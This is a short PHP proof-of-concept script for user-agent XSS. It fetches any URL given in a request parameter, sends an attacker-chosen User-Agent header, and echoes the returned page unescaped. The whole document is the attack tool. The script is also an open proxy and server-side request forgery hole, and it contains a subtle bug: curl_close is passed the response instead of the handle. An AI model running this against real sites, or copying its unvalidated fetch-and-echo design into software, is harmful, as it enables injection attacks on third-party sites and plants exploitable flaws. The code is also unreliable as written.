User Agent XSS for PoC Script

ua_xss.php

<?php 

if(!function_exists('curl_init'))
{
	die("cURL is not installed or not enabled. Please install it and/or enable it");
}

/* To show any errors that may exist when you edit the code, can be set to 0 when it is in production mode */
error_reporting(-1); 

function ua_xss($url, $useragent)
{
	// Initiate the connection
	$init = curl_init();

	// setting the parameters
	curl_setopt($init, CURLOPT_URL, $url); 
	curl_setopt($init, CURLOPT_USERAGENT, $useragent);
	curl_setopt($init, CURLOPT_RETURNTRANSFER, true);

	// Fetching the page with the intended parameters
	$result = curl_exec($init);

	// Close the connection
	curl_close($result);

	// Return the result
	return $result;
}

$url = $_REQUEST['url']; // Request is used as the parameters can be set in Cookie, Get or Post parameter
$useragent = $_REQUEST['useragent'];

echo ua_xss($url, $useragent); // calling of the function and echoing the webpage of the url

?>